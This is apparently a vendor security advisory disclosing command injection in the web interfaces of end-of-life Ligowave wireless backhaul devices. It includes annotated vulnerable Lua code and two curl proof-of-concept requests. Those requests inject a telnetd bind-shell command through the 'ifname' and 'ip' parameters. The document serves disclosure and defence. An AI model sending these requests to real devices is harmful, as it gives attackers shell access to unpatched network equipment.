Cryptocurrency Prices by Coinlib
Security Advisory: Remote Code Execution in Ligowave Devices
Introduction
Being busy with the release of our binary zero-day identification feature does not mean our other analysis capabilities are put to sleep. Case in point with these vulnerabilities affecting Lua code within four different product lines from Ligowave. These products are all related to “Wireless Network Backhaul”, ranging from professional 5GHz wireless devices for long range point-to-point connectivity to business access point.
We initially uploaded the APC Propeller firmware to our platform, where multiple command injection issues were reported within Lua code. We then extended our search to other firmwares from Ligowave where the same issues was also identified. These products include Ligowave UNITY, PRO, MIMO, and APC. More recent Ligowave product lines expose the same features but are now using safer options for command execution and therefore are not affected.
Remote Command Execution
Summary
A vulnerability in the web-based management interface of multiple Ligowave devices could allow an authenticated, remote attacker to execute arbitrary commands.
Impact
Successful exploitation of these flaws would allow remote authenticated attackers to gain remote command execution with elevated privileges on the affected devices.
Description
uam_add_internal command injections
The first issue affects uam.lua
, specifically the uam_add_internal
feature. The ifname
request parameter is used to construct multiple command strings that are being executed with os.execute
without prior sanitization.
In the code below, the source and sinks are annotated:
local function get_internal_uam_path(ifname) if not ifname then return false, 400, "Bad request - 'ifname' missing" end return "/etc/persistent/chilli/" .. ifname end function uam_add_internal(req, res) -- snip -- local dst_dir, status_code, status_msg = get_internal_uam_path(req.POST.ifname) -- NOTE: SOURCE os.execute("/bin/rm -rf " .. dst_dir .. "/www") -- NOTE: SINK 1 os.execute("/bin/mkdir -p " .. dst_dir) -- NOTE: SINK 2 local unzip_dst = "/tmp/custom_internal" os.execute("/bin/rm -rf " .. unzip_dst) os.execute("/bin/mkdir -p " .. unzip_dst) local cmd = string.format("cd %s && /bin/unzip %s", unzip_dst, zip_file) os.execute(cmd) cmd = string.format("cd %s && /bin/mv * %s", unzip_dst, dst_dir .. "/www") os.execute(cmd) -- NOTE: SINK 3 cmd = string.format("cd %s && /bin/chmod a+x `/bin/ls www/* | /bin/egrep chi$\\|sh$` && cd -", dst_dir) os.execute(cmd) -- NOTE: SINK 4 os.remove(zip_file) os.execute("/bin/rm -rf " .. unzip_dst) return true end
This vulnerability can be exploited by sending a request such as the one below:
curl -X POST \ -H 'Content-Type: multipart/form-data' \ -H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \ -F 'internal_uam=@/etc/hosts' \ -F 'ifname=$(telnetd -l sh -p 9999)' \ 'http://device-ip/cgi-bin/main.cgi/uam_add_internal'
link_test command injection
The second set of vulnerabilities affects linktest.lua
, specifically the link_test
feature. The request parameter ip
is used to construct a command string that is being executed with os.execute
without prior sanitization.
In the code below, the source and sink are annotated:
function link_test(req, res) local log_file = "/tmp/linktest.log" local error_code = 0 local output local error_msg if req.method == "POST" then if req.POST.action == "stop" then os.execute("/bin/killall -1 linktest") return true end --snip-- local cmd = "/bin/pidof linktest" output = utils.read_popen(cmd) if output ~= '\n' and output ~= '' then error_code = -1 elseif stats.getPeerCount() == 0 then error_code = -2 else if req.POST.ip then local ip = req.POST.ip -- NOTE: SOURCE cmd = string.format("/sbin/linktest -t %s -s %s -a %s > %s 2>&1 &", t, s, ip, log_file) -- NOTE: PROPAGATOR else cmd = string.format("/sbin/linktest -t %s -s %s > %s 2>&1 &", t, s, log_file) end os.execute(cmd) -- NOTE: SINK os.execute("/bin/sleep 1") end --snip--
The vulnerability can be exploited by sending a request with curl:
curl 'http://target-ip/cgi-bin/main.cgi/linktest' \ -H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \ --data 'pseudo=yes&size=64&sessions=5&ip=$(telnetd -l /bin/sh -p 9999)'
For both curl requests, the token cookie must be adapted of course.
Recommendation
For these products, being EOL, Ligowave will not patch the vulnerability. If replacement of the EOL device is not possible, ensure access to the administration interface is restricted to management networks or administration jump server only, to reduce exposure and thus likelihood of exploitation.
Key Takeaways
As already indicated in our advisory on Delta Electronics industrial routers, ICS devices such as point-to-point wireless connectivity antennas, panels, and bridges are usually installed for long term deployments that, sadly, usually exceed the manufacturer device support lifespan (an issue that will be addressed by the upcoming EU Cyber Resilience Act). With our automated firmware security analysis capabilities, we not only demonstrate how manufacturers can maximize return of PSIRT efforts and run effective vulnerability discovery and management programs, but it also provides ICS device operators the tools required to perform meaningful supply-chain risk assessment.
If you want to test your devices, feel free to reach out to us.
Timeline
- 2024-02-05 –Initial contact attempt through email and webform.
- 2024-02-06 – Ligowave support indicates the device is no longer supported.
- 2024-02-13 – Ligowave requests the report by email.
- 2024-02-13 – Back and forth on affected devices.
- 2024-03-12 –Support case marked as resolved by Ligowave.
- 2024-05-05 –90 days disclosure deadline.
- 2024-05-16 –Release ONEKEY advisory.